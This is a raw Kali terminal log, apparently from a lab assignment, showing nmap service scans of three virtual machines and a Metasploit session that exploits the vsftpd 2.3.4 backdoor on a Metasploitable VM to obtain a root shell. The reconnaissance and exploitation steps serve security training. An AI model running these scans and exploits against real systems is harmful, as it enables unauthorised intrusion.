513/tcp   open  login       OpenBSD or Solaris rlogind
514/tcp   open  shell       Netkit rshd
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 9
|   Capabilities flags: 43564
|   Some Capabilities: SupportsCompression, LongColumnFlag, SupportsTransactions, Support41Auth, SwitchToSSLAfterHandshake, Speaks41ProtocolNew, ConnectWithDatabase
|   Status: Autocommit
|_  Salt: *mhCVeySp\]<Ri:$Cg]{
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
|_ssl-date: 2026-04-28T07:28:05+00:00; -50m40s from scanner time.
5900/tcp  open  vnc         VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    VNC Authentication (2)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/5.5
|_http-server-header: Apache-Coyote/1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
45275/tcp open  mountd      1-3 (RPC #100005)
47780/tcp open  status      1 (RPC #100024)
49963/tcp open  nlockmgr    1-4 (RPC #100021)
53738/tcp open  java-rmi    GNU Classpath grmiregistry
MAC Address: 08:00:27:37:54:F3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 9m24s, deviation: 2h00m03s, median: -50m40s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2026-04-28T03:28:02-04:00

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.80 seconds
                                                                                                                                    

]0;kali@kali: ~

[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m [K[?1h=[?2004h

[A[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m 

[A[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m l[36ml[39m[36ml[36ms[39m[?1l>[?2004l

[0m[01;34mcloud-assignment[0m  [01;34mDesktop[0m  [01;34mDocuments[0m  [01;34mDownloads[0m  [01;34mMusic[0m  pentest_log_2026-04-28.txt  [01;34mPictures[0m  [01;34mPublic[0m  [01;34mTemplates[0m  [01;34mVideos[0m  vm2_scan.txt
                                                                                                                                                                                                                                                                              

]0;kali@kali: ~

[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m [K[?1h=[?2004hc[1mc[0m[1mc[0m[38;2;153;153;153mlear[39m[1mc[39m[1ma[0m[39m [39m [39m [0m[4mc[0m[4ma[24m[4mc[4ma[4mt[24m[24m[36mc[24m[36ma[24m[36mt[39m[36mt[36m [39m[36mt[39m[39m v[1mv[0m[0m [36mc[36ma[39m[39m [39m[4mc[39m[4ma[24m[4mc[24m[24m [24m[1mc[0m[1mc[0m[38;2;153;153;153mlear[39m[0m [39m [39m [39m [39m c[1mc[0m[1mc[0m[38;2;153;153;153mlear[39m[1mc[39m[1ma[0m[39m [39m [39m [0m[4mc[0m[4ma[24m[4mc[4ma[4mt[24m[24m[36mc[24m[36ma[24m[36mt[39m[36mt[36m [39m[36mt[39m[39m v[1mv[0m[1mv[1mm[0m[1mm[1m2_scan.txt[0m[1m [0m[0m [?1l>[?2004l

# Nmap 7.95 scan initiated Tue Apr 28 04:15:38 2026 as: /usr/lib/nmap/nmap -sC -sV -O -p- -oN vm2_scan.txt 192.168.56.23
Nmap scan report for 192.168.56.23
Host is up (0.014s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.56.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|_    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ssl-date: 2026-04-28T07:28:05+00:00; -50m40s from scanner time.
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
53/tcp    open  domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      45191/udp   mountd
|   100005  1,2,3      45275/tcp   mountd
|   100021  1,3,4      38272/udp   nlockmgr
|   100021  1,3,4      49963/tcp   nlockmgr
|   100024  1          47780/tcp   status
|_  100024  1          58890/udp   status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login       OpenBSD or Solaris rlogind
514/tcp   open  shell       Netkit rshd
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 9
|   Capabilities flags: 43564
|   Some Capabilities: SupportsCompression, LongColumnFlag, SupportsTransactions, Support41Auth, SwitchToSSLAfterHandshake, Speaks41ProtocolNew, ConnectWithDatabase
|   Status: Autocommit
|_  Salt: *mhCVeySp\]<Ri:$Cg]{
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
|_ssl-date: 2026-04-28T07:28:05+00:00; -50m40s from scanner time.
5900/tcp  open  vnc         VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    VNC Authentication (2)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/5.5
|_http-server-header: Apache-Coyote/1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
45275/tcp open  mountd      1-3 (RPC #100005)
47780/tcp open  status      1 (RPC #100024)
49963/tcp open  nlockmgr    1-4 (RPC #100021)
53738/tcp open  java-rmi    GNU Classpath grmiregistry
MAC Address: 08:00:27:37:54:F3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 9m24s, deviation: 2h00m03s, median: -50m40s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2026-04-28T03:28:02-04:00

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 28 04:18:46 2026 -- 1 IP address (1 host up) scanned in 187.80 seconds
                                                                                                                                                                                                                                                                              

]0;kali@kali: ~

[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m [K[?1h=[?2004hc[1mc[0m[1mc[0m[38;2;153;153;153mat vm2_scan.txt[39m[15D[1mc[39m[1ml[0m[39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [39m [14D[38;2;153;153;153mear[39m[1mc[1ml[39m[1me[0m[0m[4mc[0m[4ml[0m[4me[24m[4me[39m[4ma[24m[4ma[39m[4mr[24m[24m[36mc[24m[36ml[24m[36me[24m[36ma[24m[36mr[39m[?1l>[?2004l

[H[2J[3J                                                                                                                                                                                                                                                                              

]0;kali@kali: ~

[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m [K[?1h=[?2004hsudo nmap -sC -sV -O -p- -oN vm1_scan.txt 192.168.56.10[55D[4m[32ms[4m[32mu[4m[32md[4m[32mo[24m[39m [36mn[36mm[36ma[36mp[39m [32m-[32ms[32mC[39m [32m-[32ms[32mV[39m [32m-[32mO[39m [32m-[32mp[32m-[39m [32m-[32mo[32mN[39m[27C[?1l>[?2004l

[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-28 04:32 EDT
Nmap scan report for 192.168.56.10
Host is up (0.0032s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-28 02:27:21Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: abcd.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: abcd.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49686/tcp open  msrpc         Microsoft Windows RPC
49719/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:B7:D5:71 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10|11 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_11
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1803 (91%), Microsoft Windows 10 1903 - 21H1 (91%), Microsoft Windows Server 2019 (91%), Microsoft Windows 11 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: WIN-6H32O18ERLM; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-04-28T02:28:15
|_  start_date: N/A
|_nbstat: NetBIOS name: WIN-6H32O18ERLM, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:b7:d5:71 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: -6h07m06s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 233.62 seconds
                                                                                                                                                                                                                                                                              

]0;kali@kali: ~

[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m [K[?1h=[?2004hsudo nmap -sC -sV -O -p- -oN vm3_scan.txt 192.168.56.12[55D[4m[32ms[4m[32mu[4m[32md[4m[32mo[24m[39m [36mn[36mm[36ma[36mp[39m [32m-[32ms[32mC[39m [32m-[32ms[32mV[39m [32m-[32mO[39m [32m-[32mp[32m-[39m [32m-[32mo[32mN[39m[27C[?1l>[?2004l

[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-28 04:48 EDT
Nmap scan report for 192.168.56.12
Host is up (0.0016s latency).
Not shown: 65524 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
63042/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:6F:31:E3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Microsoft Windows 10 1703 or Windows 11 21H2 (99%), Microsoft Windows 11 21H2 (98%), Microsoft Windows 10 1703 (97%), Microsoft Windows 10 1507 - 1607 (97%), Microsoft Windows 10 1511 (97%), Microsoft Windows Server 2022 (97%), Microsoft Windows Longhorn (95%), Microsoft Windows 10 (94%), Microsoft Windows 10 1511 - 1607 (94%), Microsoft Windows Server 2008 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-04-28T08:50:39
|_  start_date: N/A
|_nbstat: NetBIOS name: VM3-CLIENT, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:6f:31:e3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 155.70 seconds
                                                                                                                                                                                                                                                                              

]0;kali@kali: ~

[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m [K[?1h=[?2004h

[A[0m[27m[24m[J[32m┌──([1m[32m[34mkali㉿kali[0m[34m[32m)-[[1m[32m[39m~[0m[32m]
└─[1m[32m[34m$[0m[34m[39m msfconsole[10D[36mm[36ms[36mf[36mc[36mo[36mn[36ms[36mo[36ml[36me[39m[?1l>[?2004l

Metasploit tip: Open an interactive Ruby terminal with irb
[*] Starting the Metasploit Framework console.../
[*] Starting the Metasploit Framework console...-
[*] Starting the Metasploit Framework console...\
[*] starting the Metasploit Framework console...|
[*] STarting the Metasploit Framework console.../
[*] StArting the Metasploit Framework console...-
[*] StaRting the Metasploit Framework console...\
[*] StarTing the Metasploit Framework console...|
[*] StartIng the Metasploit Framework console.../
[*] StartiNg the Metasploit Framework console...-
[*] StartinG the Metasploit Framework console...\
[*] Starting the Metasploit Framework console...|
[*] Starting The Metasploit Framework console.../
[*] Starting tHe Metasploit Framework console...-
[*] Starting thE Metasploit Framework console...\
[*] Starting the Metasploit Framework console...|
[*] Starting the metasploit Framework console.../
[*] Starting the MEtasploit Framework console...-
[*] Starting the MeTasploit Framework console...\
[*] Starting the MetAsploit Framework console...|
[*] Starting the MetaSploit Framework console.../
[*] Starting the MetasPloit Framework console...-
[*] Starting the MetaspLoit Framework console...\
[*] Starting the MetasplOit Framework console...|
[*] Starting the MetasploIt Framework console.../
[*] Starting the MetasploiT Framework console...-
[*] Starting the Metasploit Framework console...\
[*] Starting the Metasploit framework console...|
[*] Starting the Metasploit FRamework console.../
[*] Starting the Metasploit FrAmework console...-
[*] Starting the Metasploit FraMework console...\
[*] Starting the Metasploit FramEwork console...|
[*] Starting the Metasploit FrameWork console.../
[*] Starting the Metasploit FramewOrk console...-
[*] Starting the Metasploit FramewoRk console...\
[*] Starting the Metasploit FrameworK console...|
[*] Starting the Metasploit Framework console.../
[*] Starting the Metasploit Framework Console...-
[*] Starting the Metasploit Framework cOnsole...\
[*] Starting the Metasploit Framework coNsole...|
[*] Starting the Metasploit Framework conSole.../
[*] Starting the Metasploit Framework consOle...-
[*] Starting the Metasploit Framework consoLe...\
[*] Starting the Metasploit Framework consolE...|
[*] Starting the Metasploit Framework console.../
[*] Starting the Metasploit Framework console...-
[*] Starting the Metasploit Framework console...\
[*] Starting the Metasploit Framework console...|
[*] Starting the Metasploit Framework console.../
[*] Starting the Metasploit Framework console...-
[*] Starting the Metasploit Framework console...\
[*] starting the Metasploit Framework console...|
[*] STarting the Metasploit Framework console.../
[*] StArting the Metasploit Framework console...-
[*] StaRting the Metasploit Framework console...\
[*] StarTing the Metasploit Framework console...|
[*] StartIng the Metasploit Framework console.../
[*] StartiNg the Metasploit Framework console...-
[*] StartinG the Metasploit Framework console...\
[*] Starting the Metasploit Framework console...|
[*] Starting The Metasploit Framework console.../
[*] Starting tHe Metasploit Framework console...-
[*] Starting thE Metasploit Framework console...\
[*] Starting the Metasploit Framework console...|
[*] Starting the metasploit Framework console.../
[*] Starting the MEtasploit Framework console...-
[*] Starting the MeTasploit Framework console...\
[*] Starting the MetAsploit Framework console...|
[*] Starting the MetaSploit Framework console.../
[*] Starting the MetasPloit Framework console...-
[*] Starting the MetaspLoit Framework console...\
[*] Starting the MetasplOit Framework console...|
[*] Starting the MetasploIt Framework console.../
[*] Starting the MetasploiT Framework console...-
[*] Starting the Metasploit Framework console...\
[*] Starting the Metasploit framework console...|
[*] Starting the Metasploit FRamework console.../
[*] Starting the Metasploit FrAmework console...-
[*] Starting the Metasploit FraMework console...\
[*] Starting the Metasploit FramEwork console...|
[*] Starting the Metasploit FrameWork console.../
[*] Starting the Metasploit FramewOrk console...-
[*] Starting the Metasploit FramewoRk console...\
[*] Starting the Metasploit FrameworK console...|
[*] Starting the Metasploit Framework console.../
[*] Starting the Metasploit Framework Console...-
[*] Starting the Metasploit Framework cOnsole...\
[*] Starting the Metasploit Framework coNsole...|
[*] Starting the Metasploit Framework conSole.../
[*] Starting the Metasploit Framework consOle...-
[*] Starting the Metasploit Framework consoLe...\
[*] Starting the Metasploit Framework consolE...|
[*] Starting the Metasploit Framework console.../
[*] Starting the Metasploit Framework console...-
[*] Starting the Metasploit Framework console...\
[*] Starting the Metasploit Framework console...|
[*] Starting the Metasploit Framework console.../
[*] Starting the Metasploit Framework console...-
[*] Starting the Metasploit Framework console...\
[*] starting the Metasploit Framework console...|
[*] STarting the Metasploit Framework console.../

                                                  
[0m[36m[0m

[35m     .~+P``````-o+:.                                      -o+:.[0m

[35m.+oooyysyyssyyssyddh++os-`````                        ```````````````          `[0m

[35m+++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o[0m

[35m++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy[0m

[35m--.`                 .-.-...-////+++++++++++++++////////~~//////++++++++++++///[0m

[35m                                `...............`              `...-/////...`[0m

[0m

[0m

[37m                                  .::::::::::-.                     .::::::-[0m

[37m                                .hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo[0m

[37m                                 :Nm-/NMMMMMMMMMMMMM[34m$$[37mNMMMMm[34m&&[37mMMMMMMMMMMMMMMy[0m

[37m                                 .sm/`-yMMMMMMMMMMMM[34m$$[37mMMMMMN[34m&&[37mMMMMMMMMMMMMMh`[0m

[37m                                  -Nd`  :MMMMMMMMMMM[34m$$[37mMMMMMN[34m&&[37mMMMMMMMMMMMMh`[0m

[37m                                   -Nh` .yMMMMMMMMMM[34m$$[37mMMMMMN[34m&&[37mMMMMMMMMMMMm/[0m

[37m    `oo/``-hd:  ``                 .sNd  :MMMMMMMMMM[34m$$[37mMMMMMN[34m&&[37mMMMMMMMMMMm/[0m

[37m      .yNmMMh[2;31m//[37m+syysso-``````       -mh` :MMMMMMMMMM[34m$$[37mMMMMMN[34m&&[37mMMMMMMMMMMd[0m

[37m    .shMMMMN[2;31m//[37mdmNMMMMMMMMMMMMs`     `:```-o++++oooo+:/ooooo+:+o+++oooo++/[0m

[37m    `///omh[2;31m//[37mdMMMMMMMMMMMMMMMN/[2;31m:::::/+ooso--/ydh//+s+/ossssso:--syN///os:[0m

[37m          /MMMMMMMMMMMMMMMMMMd.     [2;31m`/++-.-yy/[37m...[2;31mosydh/-+oo:-`o//[37m...[2;31moyodh+[0m

[37m          -hMMmssddd+:dMMmNMMh.     [2;31m`.-=mmk.[37m//^^^\\[2;31m.^^`:++:^^o:[37m//^^^\\[2;31m`::[0m

[37m          .sMMmo.    -dMd--:mN/`           [37m||--X--||[0m          [2;31m[37m||--X--||[0m

[37m........../yddy/:...+hmo-...hdd:............[37m\\=v=//[0m............[2;31m[37m\\=v=//[0m.........

[32m================================================================================[0m

[32m=====================[37m+--------------------------------+[32m=========================[0m

[32m=====================[37m| Session one died of dysentery. |[32m=========================[0m

[32m=====================[37m+--------------------------------+[32m=========================[0m

[32m================================================================================[0m

[0m

[0m                     [32mPress ENTER to size up the situation[0m

[0m

[37m%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%[0m

[37m%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%[0m

[37m%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%%[0m

[37m%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%[0m

[37m%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%[0m

[37m%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%[0m

[37m%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%[0m

[0m

[0m                        [37mPress SPACE BAR to continue[0m

[0m

[0m

       =[ [33mmetasploit v6.4.50-dev[0m                          ]
+ -- --=[ 2495 exploits - 1283 auxiliary - 393 post       ]
+ -- --=[ 1607 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

[?1034h[4mmsf6[0m [0m> 
[K[4mmsf6[0m [0m> search vsftpd

[0m
Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/[45mvsftpd[0m_232          2011-02-03       normal     Yes    [45mVSFTPD[0m 2.3.2 Denial of Service
   1  exploit/unix/ftp/[45mvsftpd[0m_234_backdoor  2011-07-03       [32mexcellent[0m  No     [45mVSFTPD[0m v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example [32minfo 1[0m, [32muse 1[0m or [32muse exploit/unix/ftp/vsftpd_234_backdoor[0m

[4mmsf6[0m [0m> use exploit/unix/ftp/vsftpd_234_backdoor

[0m[1m[34m[*][0m No payload configured, defaulting to cmd/unix/interact
[4mmsf6[0m exploit([1m[31munix/ftp/vsftpd_234_backdoor[0m) [0m> set RHOSTS 192.168.56.23

[0mRHOSTS => 192.168.56.23
[4mmsf6[0m exploit([1m[31munix/ftp/vsftpd_234_backdoor[0m) [0m> set LHOST 192.168.56.5

[0m[1m[33m[!][0m Unknown datastore option: LHOST. Did you mean RHOST?
LHOST => 192.168.56.5
[4mmsf6[0m exploit([1m[31munix/ftp/vsftpd_234_backdoor[0m) [0m> show options

[0m
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.56.23    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta
                                       sploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the [32minfo[0m, or [32minfo -d[0m command.

[4mmsf6[0m exploit([1m[31munix/ftp/vsftpd_234_backdoor[0m) [0m> exploit

[0m[1m[34m[*][0m 192.168.56.23:21 - Banner: 220 (vsFTPd 2.3.4)
[1m[34m[*][0m 192.168.56.23:21 - USER: 331 Please specify the password.
[1m[34m[*][0m Exploit completed, but no session was created.
[4mmsf6[0m exploit([1m[31munix/ftp/vsftpd_234_backdoor[0m) [0m> set payload cmd/unix/interact

[0mpayload => cmd/unix/interact
[4mmsf6[0m exploit([1m[31munix/ftp/vsftpd_234_backdoor[0m) [0m> set payload cmd/unix/interactexploit[K

[0m[1m[34m[*][0m 192.168.56.23:21 - The port used by the backdoor bind listener is already open
[1m[32m[+][0m 192.168.56.23:21 - UID: uid=0(root) gid=0(root)
[1m[34m[*][0m Found shell.
[1m[34m[*][0m Command shell session 1 opened (192.168.56.5:46635 -> 192.168.56.23:6200) at 2026-04-28 05:47:07 -0400

[0mas  whoami
root
id
uid=0(root) gid=0(root)
hostname
metasploitable
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:37:54:f3  
          inet addr:192.168.56.23  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe37:54f3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
